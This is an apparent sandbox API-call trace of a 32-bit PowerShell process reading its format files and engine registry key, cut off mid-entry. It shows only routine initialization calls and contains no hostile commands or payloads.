GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\diagnostics.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x2f7f6c4 | out: lpFileInformation=0x2f7f6c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a02ba41, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a02ba41, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd2e5e3fc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x69e2)) returned 1 [0064.709] GetLastError () returned 0x0 [0064.709] SetErrorMode (uMode=0x1) returned 0x1 [0064.709] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", nBufferLength=0x105, lpBuffer=0x2ee350, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", lpFilePart=0x0) returned 0x44 [0064.709] GetLastError () returned 0x0 [0064.709] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x2ee7a8 | out: phkResult=0x2ee7a8*=0x31c) returned 0x0 [0064.710] RegQueryValueExW (in: hKey=0x31c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x2ee7f0, lpData=0x0, lpcbData=0x2ee7ec*=0x0 | out: lpType=0x2ee7f0*=0x1, lpData=0x0, lpcbData=0x2ee7ec*=0x56) returned 0x0 [0064.710] RegQueryValueExW (in: hKey=0x31c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x2ee7f0, lpData=0x413238, lpcbData=0x2ee7ec*=0x56 | out: lpType=0x2ee7f0*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x2ee7ec*=0x56) returned 0x0 [0064.710] RegCloseKey (hKey=0x31c) returned 0x0 [0064.710] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", nBufferLength=0x105, lpBuffer=0x2ee350, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", lpFilePart=0x0) returned 0x44 [0064.710] GetLastError () returned 0x0 [0064.710] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", nBufferLength=0x105, lpBuffer=0x2ee2e4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", lpFilePart=0x0) returned 0x44 [0064.710] GetLastError () returned 0x0 [0064.732] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0x81487755, Data2=0xab3f, Data3=0x4048, Data4=([0]=0x84, [1]=0x2a, [2]=0x9d, [3]=0x60, [4]=0x10, [5]=0xa6, [6]=0xf6, [7]=0x9e))) returned 0x0 [0064.756] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0x76946d1c, Data2=0xa5ed, Data3=0x41d9, Data4=([0]=0xbf, [1]=0x82, [2]=0xe7, [3]=0x91, [4]=0x0, [5]=0xd1, [6]=0x15, [7]=0xce))) returned 0x0 [0064.760] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x2ee7a8 | out: phkResult=0x2ee7a8*=0x31c) returned 0x0 [0064.760] RegQueryValueExW (in: hKey=0x31c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x2ee7f0, lpData=0x0, lpcbData=0x2ee7ec*=0x0 | out: lpType=0x2ee7f0*=0x1, lpData=0x0, lpcbData=0x2ee7ec*=0x56) returned 0x0 [0064.760] RegQueryValueExW (in: hKey=0x31c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x2ee7f0, lpData=0x413238, lpcbData=0x2ee7ec*=0x56 | out: lpType=0x2ee7f0*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x2ee7ec*=0x56) returned 0x0 [0064.760] RegCloseKey (hKey=0x31c) returned 0x0 [0064.761] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", nBufferLength=0x105, lpBuffer=0x2ee350, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", lpFilePart=0x0) returned 0x3e [0064.761] GetLastError () returned 0x0 [0064.761] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", nBufferLength=0x105, lpBuffer=0x2ee2e4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", lpFilePart=0x0) returned 0x3e [0064.761] GetLastError () returned 0x0 [0064.762] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0xacdb2448, Data2=0x9efd, Data3=0x40b3, Data4=([0]=0xa0, [1]=0xa4, [2]=0x10, [3]=0x6c, [4]=0x93, [5]=0xf3, [6]=0xb4, [7]=0x61))) returned 0x0 [0064.762] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0xb0f59589, Data2=0xc8c5, Data3=0x4cd2, Data4=([0]=0x92, [1]=0xd8, [2]=0x16, [3]=0xff, [4]=0xaf, [5]=0xda, [6]=0xfc, [7]=0x48))) returned 0x0 [0064.764] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0x5aa26767, Data2=0x650b, Data3=0x4e00, Data4=([0]=0x86, [1]=0x13, [2]=0xce, [3]=0x36, [4]=0x32, [5]=0x9f, [6]=0x2d, [7]=0xd8))) returned 0x0 [0064.764] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0xa57d77e2, Data2=0xfd79, Data3=0x48fd, Data4=([0]=0xb8, [1]=0x5f, [2]=0xc7, [3]=0x24, [4]=0x2e, [5]=0x19, [6]=0x5, [7]=0x93))) returned 0x0 [0064.764] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0x7031e80f, Data2=0xf019, Data3=0x4b19, Data4=([0]=0x9d, [1]=0xaf, [2]=0x3b, [3]=0x44, [4]=0x66, [5]=0x40, [6]=0xd, [7]=0x6f))) returned 0x0 [0064.764] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0xd8ab7a57, Data2=0xbd4d, Data3=0x4c0f, Data4=([0]=0xa8, [1]=0x20, [2]=0x65, [3]=0x24, [4]=0x6e, [5]=0x8d, [6]=0x80, [7]=0x1c))) returned 0x0 [0064.768] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x2ee7a8 | out: phkResult=0x2ee7a8*=0x31c) returned 0x0 [0064.768] RegQueryValueExW (in: hKey=0x31c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x2ee7f0, lpData=0x0, lpcbData=0x2ee7ec*=0x0 | out: lpType=0x2ee7f0*=0x1, lpData=0x0, lpcbData=0x2ee7ec*=0x56) returned 0x0 [0064.768] RegQueryValueExW (in: hKey=0x31c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x2ee7f0, lpData=0x413238, lpcbData=0x2ee7ec*=0x56 | out: lpType=0x2ee7f0*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x2ee7ec*=0x56) returned 0x0 [0064.769] RegCloseKey (hKey=0x31c) returned 0x0 [0064.769] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", nBufferLength=0x105, lpBuffer=0x2ee350, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", lpFilePart=0x0) returned 0x44 [0064.769] GetLastError () returned 0x0 [0064.769] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", nBufferLength=0x105, lpBuffer=0x2ee2e4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", lpFilePart=0x0) returned 0x44 [0064.769] GetLastError () returned 0x0 [0064.780] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System\\2.0.0.0__b77a5c561934e089\\System.dll", nBufferLength=0x105, lpBuffer=0x2ee014, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System\\2.0.0.0__b77a5c561934e089\\System.dll", lpFilePart=0x0) returned 0x48 [0064.780] GetLastError () returned 0x57 [0064.786] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2ee014, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0064.786] GetLastError () returned 0x57 [0064.790] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", nBufferLength=0x105, lpBuffer=0x2ee014, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", lpFilePart=0x0) returned 0x8e [0064.790] GetLastError () returned 0x57 [0064.831] VirtualQuery (in: lpAddress=0x2ed500, lpBuffer=0x2ee500, dwLength=0x1c | out: lpBuffer=0x2ee500*(BaseAddress=0x2ed000, AllocationBase=0x2b0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0064.834] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0x43b19f88, Data2=0xa4dc, Data3=0x4807, Data4=([0]=0xbc, [1]=0x6, [2]=0x46, [3]=0x42, [4]=0xcc, [5]=0x1c, [6]=0xc4, [7]=0x9a))) returned 0x0 [0064.836] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0xd7c92ed, Data2=0x1173, Data3=0x4d25, Data4=([0]=0x83, [1]=0xb5, [2]=0xf8, [3]=0x4c, [4]=0x36, [5]=0x8c, [6]=0x5c, [7]=0xc))) returned 0x0 [0064.836] VirtualQuery (in: lpAddress=0x2ed578, lpBuffer=0x2ee578, dwLength=0x1c | out: lpBuffer=0x2ee578*(BaseAddress=0x2ed000, AllocationBase=0x2b0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0064.836] VirtualQuery (in: lpAddress=0x2ed578, lpBuffer=0x2ee578, dwLength=0x1c | out: lpBuffer=0x2ee578*(BaseAddress=0x2ed000, AllocationBase=0x2b0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0064.836] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0xab659ea4, Data2=0xf866, Data3=0x4905, Data4=([0]=0x9a, [1]=0x69, [2]=0xf2, [3]=0x4d, [4]=0x38, [5]=0xca, [6]=0x75, [7]=0xde))) returned 0x0 [0064.855] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0x27fcb10e, Data2=0x2923, Data3=0x4dd7, Data4=([0]=0x89, [1]=0x40, [2]=0xde, [3]=0xce, [4]=0xc9, [5]=0x45, [6]=0xbc, [7]=0x5d))) returned 0x0 [0064.855] VirtualQuery (in: lpAddress=0x2ed6a4, lpBuffer=0x2ee6a4, dwLength=0x1c | out: lpBuffer=0x2ee6a4*(BaseAddress=0x2ed000, AllocationBase=0x2b0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0064.855] VirtualQuery (in: lpAddress=0x2ed550, lpBuffer=0x2ee550, dwLength=0x1c | out: lpBuffer=0x2ee550*(BaseAddress=0x2ed000, AllocationBase=0x2b0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0064.856] VirtualQuery (in: lpAddress=0x2ed550, lpBuffer=0x2ee550, dwLength=0x1c | out: lpBuffer=0x2ee550*(BaseAddress=0x2ed000, AllocationBase=0x2b0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0064.856] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0x25756d29, Data2=0xb6b0, Data3=0x4391, Data4=([0]=0xaa, [1]=0xb0, [2]=0x51, [3]=0x61, [4]=0x74, [5]=0x4a, [6]=0x10, [7]=0x76))) returned 0x0 [0064.856] VirtualQuery (in: lpAddress=0x2ed6a4, lpBuffer=0x2ee6a4, dwLength=0x1c | out: lpBuffer=0x2ee6a4*(BaseAddress=0x2ed000, AllocationBase=0x2b0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0064.856] VirtualQuery (in: lpAddress=0x2ed5bc, lpBuffer=0x2ee5bc, dwLength=0x1c | out: lpBuffer=0x2ee5bc*(BaseAddress=0x2ed000, AllocationBase=0x2b0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0064.858] VirtualQuery (in: lpAddress=0x2ed270, lpBuffer=0x2ee270, dwLength=0x1c | out: lpBuffer=0x2ee270*(BaseAddress=0x2ed000, AllocationBase=0x2b0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0064.858] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0xd56bab02, Data2=0x7b81, Data3=0x4d18, Data4=([0]=0x86, [1]=0xa6, [2]=0x81, [3]=0x4e, [4]=0x1a, [5]=0x98, [6]=0xe5, [7]=0xd5))) returned 0x0 [0064.859] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0x7de802aa, Data2=0x4020, Data3=0x4510, Data4=([0]=0x87, [1]=0x94, [2]=0x6a, [3]=0x64, [4]=0xb6, [5]=0x96, [6]=0x31, [7]=0x20))) returned 0x0 [0064.859] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", nBufferLength=0x105, lpBuffer=0x2ee2bc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", lpFilePart=0x0) returned 0x44 [0064.859] GetLastError () returned 0x57 [0064.859] SetErrorMode (uMode=0x1) returned 0x1 [0064.859] CreateFileW (lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\dotnettypes.format.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x31c [0064.859] GetLastError () returned 0x0 [0064.859] GetFileType (hFile=0x31c) returned 0x1 [0064.859] SetErrorMode (uMode=0x1) returned 0x1 [0064.859] GetFileType (hFile=0x31c) returned 0x1 [0064.859] ReadFile (in: hFile=0x31c, lpBuffer=0x3058ce0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2ee824, lpOverlapped=0x0 | out: lpBuffer=0x3058ce0*, lpNumberOfBytesRead=0x2ee824*=0x1000, lpOverlapped=0x0) returned 1 [0064.861] GetLastError () returned 0x0 [0064.862] ReadFile (in: hFile=0x31c, lpBuffer=0x3058ce0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2ee824, lpOverlapped=0x0 | out: lpBuffer=0x3058ce0*, lpNumberOfBytesRead=0x2ee824*=0x1000, lpOverlapped=0x0) returned 1 [0064.862] GetLastError () returned 0x0 [0064.862] ReadFile (in: hFile=0x31c, lpBuffer=0x3058ce0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2ee824, lpOverlapped=0x0 | out: lpBuffer=0x3058ce0*, lpNumberOfBytesRead=0x2ee824*=0x1000, lpOverlapped=0x0) returned 1 [0064.862] GetLastError () returned 0x0 [0064.862] ReadFile (in: hFile=0x31c, lpBuffer=0x3058ce0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2ee824, lpOverlapped=0x0 | out: lpBuffer=0x3058ce0*, lpNumberOfBytesRead=0x2ee824*=0x1000, lpOverlapped=0x0) returned 1 [0064.863] GetLastError () returned 0x0 [0064.863] ReadFile (in: hFile=0x31c, lpBuffer=0x3058ce0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2ee824, lpOverlapped=0x0 | out: lpBuffer=0x3058ce0*, lpNumberOfBytesRead=0x2ee824*=0x1000, lpOverlapped=0x0) returned 1 [0064.864] GetLastError () returned 0x0 [0064.864] ReadFile (in: hFile=0x31c, lpBuffer=0x3058ce0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2ee824, lpOverlapped=0x0 | out: lpBuffer=0x3058ce0*, lpNumberOfBytesRead=0x2ee824*=0x1000, lpOverlapped=0x0) returned 1 [0064.864] GetLastError () returned 0x0 [0064.864] ReadFile (in: hFile=0x31c, lpBuffer=0x3058ce0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2ee824, lpOverlapped=0x0 | out: lpBuffer=0x3058ce0*, lpNumberOfBytesRead=0x2ee824*=0x1000, lpOverlapped=0x0) returned 1 [0064.864] GetLastError () returned 0x0 [0064.864] ReadFile (in: hFile=0x31c, lpBuffer=0x3058ce0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2ee824, lpOverlapped=0x0 | out: lpBuffer=0x3058ce0*, lpNumberOfBytesRead=0x2ee824*=0x1000, lpOverlapped=0x0) returned 1 [0064.864] GetLastError () returned 0x0 [0064.865] ReadFile (in: hFile=0x31c, lpBuffer=0x3058ce0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2ee824, lpOverlapped=0x0 | out: lpBuffer=0x3058ce0*, lpNumberOfBytesRead=0x2ee824*=0x1000, lpOverlapped=0x0) returned 1 [0064.865] GetLastError () returned 0x0 [0064.865] ReadFile (in: hFile=0x31c, lpBuffer=0x3058ce0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2ee824, lpOverlapped=0x0 | out: lpBuffer=0x3058ce0*, lpNumberOfBytesRead=0x2ee824*=0x1000, lpOverlapped=0x0) returned 1 [0064.865] GetLastError () returned 0x0 [0064.865] ReadFile (in: hFile=0x31c, lpBuffer=0x3058ce0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2ee824, lpOverlapped=0x0 | out: lpBuffer=0x3058ce0*, lpNumberOfBytesRead=0x2ee824*=0x1000, lpOverlapped=0x0) returned 1 [0064.866] GetLastError () returned 0x0 [0064.866] ReadFile (in: hFile=0x31c, lpBuffer=0x3058ce0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2ee824, lpOverlapped=0x0 | out: lpBuffer=0x3058ce0*, lpNumberOfBytesRead=0x2ee824*=0x1000, lpOverlapped=0x0) returned 1 [0064.866] GetLastError () returned 0x0 [0064.866] ReadFile (in: hFile=0x31c, lpBuffer=0x3058ce0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2ee824, lpOverlapped=0x0 | out: lpBuffer=0x3058ce0*, lpNumberOfBytesRead=0x2ee824*=0x1000, lpOverlapped=0x0) returned 1 [0064.866] GetLastError () returned 0x0 [0064.866] ReadFile (in: hFile=0x31c, lpBuffer=0x3058ce0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2ee824, lpOverlapped=0x0 | out: lpBuffer=0x3058ce0*, lpNumberOfBytesRead=0x2ee824*=0x1000, lpOverlapped=0x0) returned 1 [0064.866] GetLastError () returned 0x0 [0064.866] ReadFile (in: hFile=0x31c, lpBuffer=0x3058ce0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2ee824, lpOverlapped=0x0 | out: lpBuffer=0x3058ce0*, lpNumberOfBytesRead=0x2ee824*=0x1000, lpOverlapped=0x0) returned 1 [0064.866] GetLastError () returned 0x0 [0064.867] ReadFile (in: hFile=0x31c, lpBuffer=0x3058ce0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2ee824, lpOverlapped=0x0 | out: lpBuffer=0x3058ce0*, lpNumberOfBytesRead=0x2ee824*=0x1000, lpOverlapped=0x0) returned 1 [0064.867] GetLastError () returned 0x0 [0064.869] ReadFile (in: hFile=0x31c, lpBuffer=0x3058ce0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2ee824, lpOverlapped=0x0 | out: lpBuffer=0x3058ce0*, lpNumberOfBytesRead=0x2ee824*=0x1000, lpOverlapped=0x0) returned 1 [0064.869] GetLastError () returned 0x0 [0064.869] ReadFile (in: hFile=0x31c, lpBuffer=0x3058ce0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2ee824, lpOverlapped=0x0 | out: lpBuffer=0x3058ce0*, lpNumberOfBytesRead=0x2ee824*=0xbce, lpOverlapped=0x0) returned 1 [0064.869] GetLastError () returned 0x0 [0064.869] ReadFile (in: hFile=0x31c, lpBuffer=0x305844e, nNumberOfBytesToRead=0x32, lpNumberOfBytesRead=0x2ee824, lpOverlapped=0x0 | out: lpBuffer=0x305844e*, lpNumberOfBytesRead=0x2ee824*=0x0, lpOverlapped=0x0) returned 1 [0064.869] GetLastError () returned 0x0 [0064.870] ReadFile (in: hFile=0x31c, lpBuffer=0x3058ce0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2ee824, lpOverlapped=0x0 | out: lpBuffer=0x3058ce0*, lpNumberOfBytesRead=0x2ee824*=0x0, lpOverlapped=0x0) returned 1 [0064.870] GetLastError () returned 0x0 [0064.870] CloseHandle (hObject=0x31c) returned 1 [0064.870] GetLastError () returned 0x0 [0064.870] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", nBufferLength=0x105, lpBuffer=0x2ee384, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", lpFilePart=0x0) returned 0x44 [0064.870] GetLastError () returned 0x0 [0064.870] SetErrorMode (uMode=0x1) returned 0x1 [0064.870] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\dotnettypes.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x3079cdc | out: lpFileInformation=0x3079cdc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a077cff, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a077cff, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd2e8455c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x11bce)) returned 1 [0064.870] GetLastError () returned 0x0 [0064.870] SetErrorMode (uMode=0x1) returned 0x1 [0064.870] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", nBufferLength=0x105, lpBuffer=0x2ee350, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", lpFilePart=0x0) returned 0x44 [0064.870] GetLastError () returned 0x0 [0064.871] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x2ee7a8 | out: phkResult=0x2ee7a8*=0x31c) returned 0x0 [0064.871] RegQueryValueExW (in: hKey=0x31c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x2ee7f0, lpData=0x0, lpcbData=0x2ee7ec*=0x0 | out: lpType=0x2ee7f0*=0x1, lpData=0x0, lpcbData=0x2ee7ec*=0x56) returned 0x0 [0064.871] RegQueryValueExW (in: hKey=0x31c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x2ee7f0, lpData=0x413238, lpcbData=0x2ee7ec*=0x56 | out: lpType=0x2ee7f0*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x2ee7ec*=0x56) returned 0x0 [0064.871] RegCloseKey (hKey=0x31c) returned 0x0 [0064.871] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", nBufferLength=0x105, lpBuffer=0x2ee350, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", lpFilePart=0x0) returned 0x44 [0064.871] GetLastError () returned 0x0 [0064.871] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", nBufferLength=0x105, lpBuffer=0x2ee2e4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", lpFilePart=0x0) returned 0x44 [0064.871] GetLastError () returned 0x0 [0064.875] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0xea961372, Data2=0xec23, Data3=0x4896, Data4=([0]=0xa8, [1]=0x58, [2]=0xaa, [3]=0xe7, [4]=0xab, [5]=0x7d, [6]=0x62, [7]=0x62))) returned 0x0 [0064.875] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0xa5010011, Data2=0x4b43, Data3=0x4dc1, Data4=([0]=0xa6, [1]=0x79, [2]=0x33, [3]=0xa2, [4]=0x58, [5]=0x8b, [6]=0xf3, [7]=0x44))) returned 0x0 [0064.875] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0x3cabde8d, Data2=0x5ca9, Data3=0x4382, Data4=([0]=0x91, [1]=0xd8, [2]=0x5b, [3]=0x53, [4]=0xed, [5]=0xbe, [6]=0x59, [7]=0xf9))) returned 0x0 [0064.875] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0x6c9662b4, Data2=0x1975, Data3=0x4665, Data4=([0]=0x86, [1]=0x9d, [2]=0xd0, [3]=0x27, [4]=0x87, [5]=0xaa, [6]=0xc3, [7]=0xc6))) returned 0x0 [0064.875] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0x955779fc, Data2=0xb07, Data3=0x4a4a, Data4=([0]=0x85, [1]=0x2d, [2]=0xe3, [3]=0x59, [4]=0x1d, [5]=0x57, [6]=0xe5, [7]=0xab))) returned 0x0 [0064.876] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0x7bd7deba, Data2=0x748e, Data3=0x496e, Data4=([0]=0xa6, [1]=0xcf, [2]=0x35, [3]=0x57, [4]=0xdd, [5]=0x3d, [6]=0x94, [7]=0xb8))) returned 0x0 [0064.876] VirtualQuery (in: lpAddress=0x2ed550, lpBuffer=0x2ee550, dwLength=0x1c | out: lpBuffer=0x2ee550*(BaseAddress=0x2ed000, AllocationBase=0x2b0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0064.876] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0x38759624, Data2=0xa44b, Data3=0x40d7, Data4=([0]=0xa5, [1]=0xd9, [2]=0x3a, [3]=0x30, [4]=0x58, [5]=0x60, [6]=0xe5, [7]=0x6))) returned 0x0 [0064.876] VirtualQuery (in: lpAddress=0x2ed550, lpBuffer=0x2ee550, dwLength=0x1c | out: lpBuffer=0x2ee550*(BaseAddress=0x2ed000, AllocationBase=0x2b0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0064.876] VirtualQuery (in: lpAddress=0x2ed550, lpBuffer=0x2ee550, dwLength=0x1c | out: lpBuffer=0x2ee550*(BaseAddress=0x2ed000, 